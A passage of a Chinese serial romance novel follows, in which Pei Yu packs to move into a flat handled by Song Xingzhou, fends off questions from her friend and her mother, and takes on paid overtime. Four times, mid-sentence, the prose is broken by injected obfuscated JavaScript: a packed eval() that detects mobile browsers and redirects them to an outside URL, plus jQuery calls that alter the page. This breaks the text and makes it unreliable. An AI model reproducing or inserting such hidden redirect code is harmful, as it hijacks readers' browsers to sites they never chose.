对方回复得极快,只两句: 【好的,我这边记下了,月底前联系就行。】 【房子你保持得蛮好,放心交接。】 裴雨坐在沙发上,盯着那两行字愣了半秒。 她回了句【谢谢您】,顺手把和这套出租屋相关的一切事项列了个小清单:退租时间、打扫卫生、冰箱清空、打包行李。 她不打算叫搬家公司。 一方面东西不算多,大多是日用品和衣物;另一方面,她始终觉得如果搬家时太“仪式感”,反倒会让她开始舍不得这个地方。 是的,尽管这地方潮湿、隔音差、邻居有点吵、抽油烟机半死不活,但她还是住了快三年,这里也有她凌晨三点赶稿写PPT的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718116|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身影,有她在阳台一边打电话一边偷偷哭过的夜晚,也有她窝在沙发上吃火锅看综艺的冬天周末。 只是生活总得往前走,她也知道该换个地方了。 毕竟,那边的新房子已经签好合同、拿了钥匙,连煤气表都绑定好了手机号。 晚上裴雨一边折叠纸箱一边拆柜子最上层的杂物盒,正蹲在地上和一包不知道什么时候买的干花较劲,就听到手机“叮”了一声。 她本来不打算看,想着可能又是某个群在刷无意义的推销信息,但看到备注跳出来的一刻,她还是忍不住直起腰拿起了手机。 ——宋行舟。 他发的消息不长,也不像平时那样先打个招呼或预热铺垫,简洁得像是工地项目汇报: 【你搬家的时候需要我帮忙吗?】 裴雨对着屏幕愣了三秒,差点把手里那包干花抖撒一地。 她的第一反应不是感动,而是条件反射地想:“他怎么知道我要搬家了?” 下一秒她就反应过来了。 她自己刚刚租完他的房子,又不是偷偷摸摸夜里卷铺盖跑路,正常逻辑下他知道也不奇怪——毕竟房子是他的,哦不对,是他爸的,他最多算是“亲戚中介”。 但这不妨碍她神经性地觉得好像被“监视”了似的。 她回了句:【你怎么知道我搬家的时间?】 几秒钟后,对方回了一条语音消息。 她没立刻点开,盯着那条波浪形的音频条看了几眼,有点心虚。 最终,她还是点开了。 【你近期不搬家,干嘛要来组我房子?而且你之前不是说过25号搬家么。】 声音很平静,很常规的那种宋行舟式语气,带着点“你在怀疑什么无聊的事呢”的意味,听得她有点想拿手机磕一下自己脑门。 她只能赶紧回:【哦哦我忘了自己说过。】 过了一会儿,又补了一句:【暂时不用麻烦你,我打算自己收拾一下,行李不多,能搞定。】 她原本以为他会顺着这个“婉拒”就此打住,没想到他下一条微信发得飞快: 【我又不是麻烦。】 【而且女生一般行李多,没有电梯你一个人搬下楼搬得挺累的,别逞强。】 她一愣。 裴雨咬着下唇,看着聊天框,又开始犹豫要不要找个轻巧一点的方式把话绕回去。 可她还没想好怎么回复,宋行舟那边又甩来一条: 【我没事,不出差,随时有空。你要是觉得不方便我上门,我可以在楼下等你一起搬,也行。】 这语气。 已经从“要不要帮忙”变成了“我已经准备好,你来决定形式”。 裴雨忽然就笑了出来。 她对着手机打了半天字,又删掉,最后只回了句:【你是不是太闲了?】 宋行舟那边停顿了大概五分钟,然后回了一张表情包。 是一只无所事事的猫猫蹲在窗边,配字是:“打工是不可能打工的,这辈子都不可能。” 裴雨看着屏幕,噗地一声乐出来,手机一滑,差点砸在膝盖上。 她盯着那只猫看了好一会儿,忽然觉得搬家这件事,也没那么麻烦了。 她没再回消息,也没承诺“需要帮忙”或者“不用你来”。 她只是默默低头,把自己那本老旧的旅行日记本从抽屉里抽出来,拍了拍封皮,开始一页一页地翻着,把其中几张夹着的照片和明信片收进了准备好的小纸盒里。 然后,她关掉了微信,重新开始打包她的书架。 她心里有点乱,但乱得轻轻柔柔。 像刚拆开的干花,香味混着灰尘飘在空气里,不刺鼻,也不扎眼,反而有点温柔。 16. 冷静比浪漫更重要 裴雨是在把十几个纸箱堆满客厅之后,才终于觉得需要通个人气。 她的通风口永远是刘盼盼。 于是她随手拿起手机,给对方发了条语音消息,语气还挺平静:“我租房子那事儿解决了,签了,房租也付完了,钥匙也拿到了。” 不到十秒,刘盼盼那边秒回了一条文字消息:【???你什么时候搞定的?你不是还在挑吗?怎么进度条直接满了?】 裴雨边喝水边发了一条:“就前两天定的吧,那个……就是你记得宋行舟之前给我推荐的那片吗?” 刘盼盼:“……你不会租到他家去了吧。” 裴雨:“……” 刘盼盼秒发语音,声音带着点过度清醒的兴奋:“等会儿等会儿你慢点说,你刚才那个语气有问题。你是不是租到了他家?你老实说,房东是不是他本人?!” 裴雨没手打字,只是点了一下手机上的“允许”——允许微信把那条语音转成文字。 于是“是他本人,真的”五个字就出现在了刘盼盼的屏幕上。 五秒钟之后,刘盼盼电话直接打过来了。 “你现在是认真的吗?”刘盼盼在电话那头震惊得像刚从火星降落,“你是在跟我讲你新看的连载小说第一章吧?你告诉我你是不是喝奶茶把脑子泡发了?你!租到了你朋友!他爸的房子!” “……不是你说得那么离谱好吗。”裴雨瘫在沙发上,拿脚趾头划着地板上的一只空纸箱,“这事我也不是故意的。” “那你给我解释一下。”刘盼盼语速飞快,“一个天南地北看房的人,最后怎么就绕回去租到了你‘有点不清不楚的朋友’的家。你不是还打算避着他吗?” “我一开始是避着他。”裴雨承认,“真的,我都绕着走的。第一套房一看到他背影我都躲得像特务。” “你躲得再像特务也没用。”刘盼盼说,“命运把你按头送过去你也没跑掉啊,哈哈哈哈。” 裴雨没忍住笑了,“你现在这语气是不是有点欠。” “我不是欠,我是实事求是。”刘盼盼那边音量逐渐升高,“你给我好好描述一下你见到他开门那一刻的表情,我想在脑海里构建一下场景。” “我……你别说还真是有点荒谬感。”裴雨回忆那一刻,还觉得像在梦游,“我本来跟中介敲门,房东说‘来了’然后一拉门,我整个人都僵住了。” “他什么反应?” “他看了我两秒钟,然后说——‘不是说来看房的是个离婚带娃的单亲妈妈吗?’” 刘盼盼电话那头“噗——”一声笑喷了出来:“哎呦我去,笑死我了,这剧情简直可以拍小剧场!” “你闭嘴。”裴雨翻了个白眼,“我当时差点原地退房。” “但你没退。”刘盼盼立刻追问,“说明什么?说明房子很好,对吧?” “……房子确实挺好。”裴雨忍不住老老实实承认,“朝南,通风好,不潮,租金也比市场价低了一些。” “我说嘛。”刘盼盼那语气有点得意了,“他舍不得宰你。” “他不是房东,他爸是。” “你还真信了?”刘盼盼嗤笑一声,“你信他爸那套房子随便就租出去了?说不定人家宋行舟早八百年前就算准了你一定会租。” “你……你看小说看太多了。”裴雨被她说得一阵耳根发烫,“别瞎说。” “我不瞎说。”刘盼盼道,“你回忆一下,他是不是早就试探过你?比如你是不是想搬家,比如现在住的地方是不是不太行,比如租房难不难,他是不是都问过你?” 裴雨:“……” “他是不是还说过他那一片有空房?” 裴雨更沉默了。 “你看吧!我说中了吧!”刘盼盼简直激动到语速起飞,“宋行舟这是故意布的局,他知道你嘴硬,知道你得自己兜一圈踩一堆坑才能心甘情愿住进去。” “不是……你怎么听着这么像小说里那种‘霸道总裁租房套路青梅竹马’的剧情?” “那不一样,这叫‘精英系男友在平凡生活中的精准下套’。”刘盼盼都开始立题了,“你现在得从租房问题开始回溯你和他之间的逻辑链——从认识到熟悉,从陌生人到朋友,从互帮互助到……房东。” “你别说了!”裴雨终于忍不住把抱枕砸在自己脸上,声音都闷了:“你说得我现在搬家都有点羞耻感了。” “你有羞耻感就对了。”刘盼盼坏笑着说,“要不是你老是嘴硬,说不想跟他有什么交集,我都以为你们早就同居了。” “我们现在也没有!”裴雨抗议。 “哎呦你别急。”刘盼盼拖长声音,“我就看看你能抗拒他多久。” “你别一副看热闹不嫌事大的样子好不好。” “我怎么是看热闹呢?我是关心你搬家顺不顺,我可以来帮你!” “谢了,我怕你来了跟宋行舟打起来。” “我怎么会跟人家打架?” “你嘴够毒,他不还嘴你都能自己一人演双簧。” 刘盼盼那边“嘿”了一声,也不否认。 “说真的,裴雨。”她声音忽然放缓一点,“你真没考虑过,和他开始点什么?” “……哪有那么多随随便便开始的感情。”裴雨低声道。 “但他愿意等你。”刘盼盼说,“看他那个语气,什么‘随时等你签合同’,你不觉得他一直在用一种特别稳的方式留在你身边吗?” “我知道。”裴雨轻轻应了一声。 但她没有再多说什么,只是抬头看了一眼天花板上那盏忽明忽暗的顶灯,心里隐隐泛起一点微妙的情绪。 她知道,这一切的确不像个巧合。 但就像她现在已经签了合同,钥匙也拿到了,纸箱也装了一地——生活不是写剧本,她得一件一件来。 包括这份突如其来的,似乎藏着一点心思的“租房之缘”。 电话挂断的那一刻,裴雨把手机往茶几上一丢,整个人也一起瘫回沙发里。 这才意识到自己刚才被刘盼盼一通话术洗脑,脑子都上头了。 她眨了眨眼,盯着天花板发了三十秒的呆,忽然“啧”了一声。 “瞎扯。” 她坐起来,捞过茶几上被揉得皱巴巴的水杯,咕咚咕咚灌了半杯水,仿佛想把刚才那些“精英系男友下套”“精准布局”的话都冲下去。 “她就是话多。”裴雨自言自语地说,“她当年不也说楼下那个送外卖的在追她,结果人家是送错门。” 她站起来,扯了根发圈把头发扎起来,回卧室继续收拾纸箱。刚走两步,又倒回来,把手机从沙发缝里挖出来,关掉了微信通知——怕自己冷静两分钟又被刘盼盼的新一轮“激情连线”拽走。 果然还是得靠自己。 她一边撕着纸箱封条一边琢磨。 是的,宋行舟的确对她一直不远不近。 不是那种热烈追求的张扬劲儿,也不是那种把人当普通朋友的客套,而是一种介于中间的、柔软的、慢悠悠的态度。 就像一杯放在手边温着的茶,你不喝,他也不动。但只要你端起来,他总是正好的温度。 ——但,也可能只是她自己这样觉得而已。 万一人家对谁都这样呢? 毕竟宋行舟这人看起来人好,口碑好,脾气也好,是那种谁忘带饭了他都能主动请人吃,哪怕是那种三天打鱼两天晒网的新人。 她记得宋行舟跟她说他们单位的实习生小姜电脑坏了,他帮人家一边杀毒一边教她备份,最后还陪着去IT室报修,那时候她就觉得他有点“老好人”。 可后来她才发现,他只是对所有人都很好,对自己……似乎还是有一点点不一样的。 可这种“一点点不一样”——到底是不是真的不一样?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718117|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她又“啧”了一声,忽然觉得刚才那杯水白喝了,脑子又热起来。 这年头,如果朋友之间友好点就能被解读成“别有用心”,那这世界早就乱套了吧。 她坐回地板上,一边把卷着的海报轻轻塞进纸筒,一边仔细回忆宋行舟对她说过的每句话,每一个眼神,每一次微信消息。 结果还真没什么明晃晃的“暗示”。 没有“我喜欢你”,没有“要不要考虑一下我”,甚至连一句“我关心你”都没有。 反而是她那天去看房时,他笑着调侃她“不是说是个离婚带娃的吗”,然后一句“你愿意租,我就给你摸个零”,轻描淡写地把租金从四千八改成四千。 她记得那一瞬间自己确实心跳漏了一拍,但现在冷静下来再想—— 四千也不是白菜价,人家说不定就是“见你是熟人给点优惠”而已。 她要是真一厢情愿地觉得人家是“为了让她住进来才特意降价”,那岂不是自己给自己加戏? 唉。 她靠着床沿坐着,长叹了一口气,又把那个手肘靠得发酸的姿势改成侧躺,一只胳膊拖着脑袋,像老电视剧里那个准备写情书但迟迟下不了笔的女主。 结果一翻身,身下压了个发票本,硌得她龇牙咧嘴,情绪彻底打断。 “什么精英系男友……”她皱着眉低声嘟囔,“他大概也就觉得我不是个麻烦的租客而已。” 反正不是个带孩子的。 她甚至还能想起签合同的时候宋行舟特别认真地看着她说:“你确定一个人住没问题吧?这里离菜市场近,但上坡,你一个人搬东西可能费劲。” 她当时笑了笑说没问题,还不忘自嘲一句:“我一个人也活得挺自在的。” 宋行舟没有接话,只是点点头,笑意浅浅。 现在回想起来,他好像说什么都不过界,恰到好处。 没有任何一种“有心人”的失控感。 这才是最让人纠结的地方。 你说他对你有意思吧,他又总是不动声色。你说他只是普通朋友吧,他又给你点让人“误会”的温柔。 裴雨越想越觉得,这事不能光听刘盼盼的。 她闺蜜那张嘴,从她大学到现在不知祸害了多少人,劝分劝和劝恋爱的故事她能写三部曲,她才不能把自己人生大事交给这种“人生娱乐节目总导演”来指导。 “谨慎一点。”她对自己说。 她不是十八岁,也不是刚毕业那会儿盲目跟风的年纪了。她现在知道,喜欢和合适,是两回事。感觉和行动,也不是随便能划等号的。 再说了,就算宋行舟真的有那么点什么,她也不着急。 谁说所有的情感都要像电视剧一样快节奏?她租个房子都精挑细选好几个礼拜呢。 恋爱这种事,就更不能“图便宜图方便图熟人”。 想到这里,她忽然笑了一下,自己都觉得自己这一整天的思想过山车太好笑了。 从“是不是被套路了”到“他是不是喜欢我”再到“我要谨慎”,差点就能开个讲座。 “真是疯了。” 她站起来,拍拍裤子,重新振作地把还没封上的纸箱叠好,打算把今天剩下的打包工作都做完。 窗外的天色已经暗下来了,街道上车来车往,风吹得阳台晾着的几件衣服微微晃动,像是生活的小旗帜,告诉她一切都还在继续。 裴雨低头看了眼手机,没新消息,安静得很。 她没主动找宋行舟,也没点开微信聊天框。 她只是打开了备忘录,在上面列了个搬家清单的更新项: 打包完生活区杂物 明天确认退租清洁时间 搬家车预约 ……新的钥匙收纳位置:钥匙架第一钩 末尾,她加了一行小字。 ——“感情问题不急,冷静比浪漫更重要。” 17. 琐事 第二天晚上,裴雨一边抱着抱枕坐在地上发呆,一边用脚趾无意识地勾着旁边的封箱胶。纸箱堆了一半,家里一片狼藉,从客厅到阳台,都是七零八落的生活碎片。 她刚刚打包完餐具,手还沾着点洗洁精泡沫残留,一抬眼,手机屏幕突然亮了起来。 “妈视频通话中——” 她怔了一下,还没来得及逃避,电话已经自己接通了。 “雨雨你干嘛呢?哎呦你这背景怎么乱七八糟的,出什么事了?” 母上大人以一秒十问的语速开场,眼神如同一把扫描仪,从她额头扫到脚后跟。 “妈……”裴雨无奈地把手机架起来,腾出手擦擦水,“我这是搬家呢。” “搬家?你不是好好的吗?租的房子不是说地段挺好,房租也合适?怎么说搬就搬?是不是房东把你赶了?” “……不是。”裴雨忍住翻白眼的冲动,不想跟她妈说出实情,“我是主动搬的,新房子更安静,离地铁站近,还靠近菜市场。” “哦——那租金多少?你一个人住那么大干嘛?” “妈,我都多大人了你能不能别事无巨细全追着问一遍……”她边收拾一边试图用一块干毛巾盖住镜头里最混乱的那堆衣服山,“而且新房子也不算大,厨房比现在这的好,采光也棒。” “你是不是谈恋爱了?” 这才是老母亲真正的杀招。 “你别转移话题。”裴雨警惕地看着屏幕,“怎么突然开始八卦这个?” “不是突然。”妈妈语气里透着理直气壮的骄傲,“是我每天都在等你什么时候开窍。你都多大了,还不急。我前两天去打牌,谁谁谁的女儿年初结婚,现在都快生了,谁谁谁的儿子刚订婚,女方还挺漂亮,你要不要我介绍个——” “不要!”裴雨打断她,心虚地别开眼,“我现在生活很好,单身也挺自在的。” “自在?你一个人搬家也叫自在?”她妈显然从刚才的视频里精准捕捉到了关键信息,“你爸说得没错,女孩子在外面漂着漂着就飘没了。你回来吧,家里给你安排个单位,也体面,能吃上早饭,晚上有人陪你说话。你说你在外头,搬个家都得自己包行李,我看得都心疼。” “我又不是小孩,搬个家至于么。”裴雨叹了口气,像背课文一样背熟的台词再次派上用场,“妈,我现在工作稳定,生活规律,我租房是为了住得更舒服,跟感情、婚姻、命运毫无关系。” 她妈似乎没听进去,反而追问得更快:“那你告诉我,新房子在哪?离单位多远?房东人怎么样?是不是小区里不安全?电梯有没有监控?” “房子好着呢,安全得一批。”裴雨拍着胸脯做保证,心虚得像个在成绩单上涂改的学生,“房东人也好,不事儿多,合同签得明明白白,还有备用钥匙放物业,连水表都提前拍照确认过了。” “嗯……”她妈狐疑地盯着屏幕,“你这表情不太对啊。是不是房东是个年轻男的?” “妈!”她差点一口水呛死,“你脑子每天都在拍剧本吗?房东是人家爸爸,他儿子代为处理的而已,好不好?” “我就知道!我说怎么你突然租个房子都能笑得跟中彩票似的。”妈妈一副“果然如此”的语气,“姓什么啊?家哪的?结没结婚?有没有哥哥弟弟?” “……您能不能关心一下我收行李收的腰快断了?” “行了行了,你嘴硬。到时候真出事了可别不告诉我。”她妈冷哼一声,放弃了继续拷问的打算,开始切换频道,“对了,你那件灰色风衣别忘了洗,我记得去年你穿上还挺好看的。” “我那件早洗了……哎哟,妈,我真得继续打包了,明天再视频好吗?” “行吧,行吧。”她妈终于舍得挂电话了,“你要是缺人帮忙搬,就叫个人陪你。一个人干不动,别逞强。” 挂断的瞬间,裴雨感觉整个人轻了两斤。 她像逃过劫难一样摊倒在地上,脸朝天举着手机:“妈啊,您这战斗力堪比国家二级播音员。” 一边说着,她一边拎起旁边一个塞得满满的纸箱,想试试能不能自己挪到门口。 结果纸箱一动不动,她的胳膊倒是“咔吧”一声响,吓得她立刻放手。 “好家伙,老胳膊老腿了这是。” 她躺在地板上,又给自己倒了杯温水,打算小歇十分钟。 手机突然弹出一条新消息。 【宋行舟】:东西收拾得怎么样了?需要我帮忙搬的那天提前告诉我,我把车开过来。 裴雨盯着那条消息看了三秒。 她没有立刻回复,而是先咕嘟咕嘟喝完水,然后放下杯子,才慢吞吞地打字。 【裴雨】:今天刚打包厨房区。进度还行,不耽误。谢谢啦,真要用上你车我会提前跟你说。 她本想打完这句就放下手机,结果看到“正在输入……”三个字一直跳了三秒,像某种无法预测的节奏。 【宋行舟】:好。你那边天气最近降温了,别太晚收拾,早点休息。 “……” 裴雨坐在箱子上,低头看着手机,又有点哭笑不得。 这人就是这样,说话像杯热牛奶,平淡但温吞。 哪怕你冻得牙齿打颤,他也不会主动说“我给你买点热的”,而是默默在旁边推来一杯放好了温度的东西,等你自己去接。 她收起手机,忽然想起刚才她妈问的那句:“是不是房东是个年轻男的?” 她居然没敢回答。 不想撒谎,也不想承认。不是因为有什么羞于启齿的东西,而是她自己也还没想明白。 宋行舟到底是个“刚好出现的人”,还是个“特地等她的人”? 她现在真的说不清。 不过眼下还是先收拾完这几个纸箱再说吧。 她一边给打包箱写上“杂物/厨房2”一边小声嘟囔:“先搬家,别动情。” 这才是大女主该干的事。 周一上午十点半,办公室的空调刚开始给力,裴雨正喝着咖啡,准备慢悠悠地把OA系统里的待办清一清。她的心思还飘在周末的打包节奏上:客厅收了一半,卧室的抽屉还没清理,厨房的调味瓶要再买两个专用纸箱,另外,她还得提前联系搬家公司定好搬家日期。本来她想一个人搬,但眼看着东西越来越多,这个想法显而易见的不现实。 她原计划是这个周五搬家,周六收拾,周日睡觉,一切安排得明明白白。 然而,世界上所有“明明白白”的安排,大概率都会被单位一句话打破。 “裴雨,你下午有空吗?” 组长江珊从工位那头探出脑袋,语气轻松,神情却带着一种不容拒绝的意味。 “啊?”裴雨条件反射地放下咖啡杯,“下午?有吧……怎么了?” “有个项目,临时追加了一个小专题,领导那边催得急,你能力强,写得快,能不能搭把手?三天内出初稿,后天开会要用。” “三天?” 裴雨已经感觉自己刚喝下去的咖啡开始在胃里打转。 “我知道你最近在搬家。”江珊放轻声音,挤出一点宽慰似的笑,“我本来是想找小王的,结果他这周排了出差。我一想你反应快、文字功底也好,这种东西你写出来质量有保障。而且,我跟经理说了,会给你加班补贴,奖金这块也会单独记。” “……加多少?” “不少。领导说了,这次节省了外包费用,直接拨给组里,所以你这单就算是你自己接的一样。一个专题写下来差不多一千五起步,要是附带个数据分析再加八百。” “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718118|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 不得不说,钱这个东西,的确有缓解心烦的神奇功效。 裴雨想了想,再三确认:“那这个专题……需要熬夜吗?” “不一定,你可以白天做资料收集,晚上写框架,不用你做PPT,文字部分为主。” 她犹豫了几秒钟,还是点头答应了:“行吧。” 一千五加八百,她搬家那天的人工费都能省下来。 “好样的!”江珊笑得像刚把KPI砍了一半,“那你这两天先把资料带回家看,其他就按你节奏来,我这边先走审批流程。” 裴雨默默点头,然后转身回了自己的位子。 电脑屏幕上的待办列表还没清,日历软件的搬家倒计时又多了两天。 她本来以为这次搬家能算一次仪式感满满的生活转折,结果现实再一次提醒她,工作才是所有生活的中心锚点。 下班时天已经微黑,裴雨背着电脑包在公交站等车,身边的行人都裹着风衣或者呢子大衣,有的捧着热饮,有的低头刷着手机。 她背包里塞了两本厚厚的行业年鉴资料,还带了一个U盘,沉得肩膀都歪了一点。 她原本想着回家能再装几个箱子,现在估计只能把箱子让一边,把笔记本和文件资料摊开来工作。 她回到出租屋,把外套一甩在椅背上,又坐在客厅落地灯下,对着电脑上的策划文档发呆了两分钟。 然后咬着牙翻出热水壶、茶包、眼药水、护手霜,一套办公室疲劳标配的东西全都搬了出来,准备开始今晚的“加班模式”。 晚上九点,她收到了一条微信。 【宋行舟】:今天顺利吗?我去看了下房子,小区门口的车位那边重新铺了柏油,可能搬家那天要避开。 她愣了几秒才想起这是她未来要住的那个地方。 【裴雨】:谢谢提醒。我可能要稍微推迟一下搬家的时间,单位临时给了个活,三天内得交稿,回头得重新约下搬家公司。 那边安静了几秒。 【宋行舟】:辛苦。那你早点睡,别熬太晚,万一眼圈黑了说不定会被你妈视频盘问的。 裴雨看着那句“黑眼圈”和“你妈”,忍不住笑出声来。 【裴雨】:你怕不怕我妈视频也盘问你? 【宋行舟】:怕,难道要问我有没有哥哥弟弟? 她笑了两秒,又忽然想起什么,补了一句: 【裴雨】:不过她昨天确实问了……问房东是不是年轻人。 【宋行舟】:你怎么说? 她思索了一下。 【裴雨】:我说你是替你爸处理事务的,不多说,也没否认。 【宋行舟】:聪明。保留想象空间。 她看着那句“保留想象空间”,忽然想起江珊今天早上说“你能力强、写得快”的语气。 其实,在某种程度上,她的人生也总被贴着这种标签。 工作认真,独立可靠,不麻烦人。 连这次搬家,她也想一个人搞定,自己租车,自己联系搬家公司。 可这一大堆纸箱加上眼前这堆文件资料,她忽然觉得自己其实也没那么无所不能。 但也不至于虚弱得要靠谁来拯救。她还是能一边打字一边泡茶,一边把未来整理得有条不紊。 宋行舟的消息没有再发来。 她盯着那一片空白的聊天框发了会呆,然后合上电脑,起身去厨房热了一碗昨天剩的粥。 接下来的两天,她基本上都在两点一线中度过:公司和出租屋,文档和年鉴,开头和结尾。 生活仍然是琐碎的,计划仍然可能随时推迟,但她也没太焦虑。只是默默记了一笔:等项目结束后,要买一束花放在新家的窗台边。 ——她才不是为了什么新生活的仪式感。 18. 小小的开心 这一轮连续三天的加班,压得人喘不过气来。但好在第二天下午,领导临时有个会,项目临时被“雪藏”了几个小时,裴雨得了片刻空档。 她抓紧这个喘息的机会,请了个“外出洽谈”的假,换了身便装,打了辆车悄悄摸去了她即将入住的新小区。 车一拐进那条熟悉又还没太熟的街道,裴雨就不自觉地坐直了身体。 车窗外的街景在春日的阳光下格外清晰,便利店门口摆着促销饮料,干洗店前挂着还冒着热气的衣服,早点摊已经收摊,但地上的油渍还在默默昭示着清晨的热闹。 裴雨让司机停在小区门口。 她没有进门,毕竟自己现在还不是“正式住户”,钥匙虽然在物业那里取回来了,但她还没在这片土地上真正“扎根”。 于是她绕着小区外围慢慢地走。 一圈下来,她把每一个入口的位置记得清清楚楚,也注意到小区南门出来不远就是个公交站,牌子上写着有三路车通往地铁口,而其中一条正是她常搭的路线。 她掏出手机,用地图App开始试算从这里到单位的时间。 早高峰+地铁+步行,总共三十五分钟。 而如果选择公交+步行,虽然时间差不多,但要绕两站路,体验不太友好。 她挑了个不那么显眼的角落站着,打开备忘录,开始做笔记: 【早高峰出行备选路线】 1.步行至南门地铁站——5分钟 2.乘地铁6号线——20分钟 3.步行至单位——10分钟预计总时长:35分钟,推荐指数:五颗星 【应急方案】 1.打车直达单位,避开雨天或迟到风险 2.公交线K317,站点稍远,避开高峰期可用 她做完笔记,又在周围扫了一眼,发现不远处有一家还挺气派的咖啡馆,招牌写着“半日小酌”。 “不错。”她轻声念叨着,眼睛亮了一下,“以后下班来这儿发会呆也挺好。” 再往前走,是一家看起来经营多年的社区小超市。 没有便利店那么整洁利落,但胜在熟络温情。老板正蹲在门口往货架上摆方便面,见她站着不动,还笑着打招呼:“新搬来的吧?我们这边白象两块一桶,不加价。” “哈哈,我记住了。”裴雨朝他点点头。 她心里泛起点轻微的暖意。 路边还有一排梧桐树,虽然才刚刚发芽,但已经能看出夏天的时候应该会很茂盛。旁边那家打印复印店贴着一张海报,说可以复印房产证、水电票据和临时打印,还能代收快递。 “这位置……送快递小哥找不到门我可以让寄这里。”她边走边记。 她甚至还站在小区外的某个长椅上坐了会,掏出本子在膝盖上写下: 【新家周边资源初步探索】 地铁站(南门步行5分钟) 超市x1(可买基础生活用品) 咖啡馆x1(适合临时办公) 快递服务点x1 干洗/洗衣/早餐摊齐全 一边写,她一边感到一种难以言喻的安全感慢慢浮了上来。 以前租房时,她几乎都匆匆忙忙地签约、入住,能不能方便生活全靠运气。这一次不一样,从选房、熟悉环境、安排动线,她像是在一点点“建设”属于自己的领地。 等她回过神来,天已经微微暗下来了。 她看看时间,已经快五点,便匆匆往地铁站走,准备赶回公司继续加班最后的收尾。 地铁上她站着,手机塞在口袋里,脑子里却已经在模拟搬家当天的路线—— “车停在小区北门那边,然后从西侧电梯直接上楼,中间可以先放下大件家具,再安排纸箱进屋……啊,先得把门垫和开关贴纸准备好。” 她甚至想好了,要在搬家前一天自己先来一趟,把水电燃气都再测一遍,顺便提前放点清洁用品进去,第二天能快一点。 地铁过站的铃声响起,她晃了晃神。 窗外是城市霓虹的光带,像一条永不止歇的河流。 她忽然笑了一下。 一开始她也没想过,自己居然会为了一个小小的搬家安排得这么细致,但现在回头想想,这些看起来繁琐的事,反而成了她生活里最踏实的锚点。 从单位赶回去的那晚,她特意绕道那家新发现的咖啡店,买了一杯美式带走。 等她回到公司,刚好八点,夜班值班的灯还亮着。 她坐下,把咖啡放在手边,整理好最后一份资料时,忽然又想起一件事。 她给自己设了一个提醒: 【搬家前一天,要记得提醒刘盼盼她欠我一个“新家入伙礼”】 写完,她一边笑一边合上笔记本,开始期待起收到礼物的那一天。 第二天上午。 “叮咚!” 微信到账提示音一响,裴雨正坐在公司茶水间的小沙发上吸着最后一口纸杯咖啡。手机亮起,她低头一看,眼神立刻亮了。 【招商银行:您尾号4938的储蓄卡收入人民币2300.00元,备注:专项工作补贴】 “啊……”她发出一声低低的感叹,像是沙漠里看见了绿洲。 旁边正在加热便当的同事姜让探头看了她一眼:“你中彩票啦?” “比彩票稳。”裴雨把手机举起来,语气里透着久违的雀跃,“加班工资到账啦!” “咱这还有加班工资?”姜让惊讶,“不是都按调休走的吗?” “那是一般加班。我这是——临时专项任务。”她故意压低声音,“写报告,赶材料,苦情牌打得好,组长良心发现了。” “你行啊。”小刘比了个大拇指,“走,我们中午吃点好的,庆祝一下。” 裴雨摇头笑了笑:“不行,我得省着点花,我还得搬家呢。” “你不是早就定好房了吗?” “定是定好了,这不临时又推迟了两天吗?一堆东西堆家里,现在要重新规划流程、找车队、订打包纸箱。”她掰着手指头数,“搬家公司选哪家,纸箱大小要几套,搬完当天几点到那边,怎么开荒打扫,家具装哪一边……” “你这是搬家还是策划人生呢?”姜让惊了,“你这流程表得做个PPT了。” “你别笑。”裴雨咬着吸管不服,“等你也一个人搬过几次家,你就懂我为啥要流程图了。” 说着她拿出手机,翻出自己前两天画的笔记App界面。 “我分了五页。”她语气有些得意,“第一页是东西分类表,第二页是时间线规划,第三页是搬家当日流程表,第四页是开荒打扫分工,第五页是新家布置草图。” “……你是不是偷偷去考过项目管理师?” “没考证,但搬家经验和项目进度差不多了。” 姜让彻底服了:“我要有你一半细致,我现在就买房了。” “别,买房比搬家更崩溃。”裴雨一想到自己曾经被房东催着签续约的经历,又补了一句,“我已经能接受搬家比恋爱更稳定这个说法了。” 两人笑作一团,午饭后各自回到岗位,继续最后一点尾款 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721558|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作。 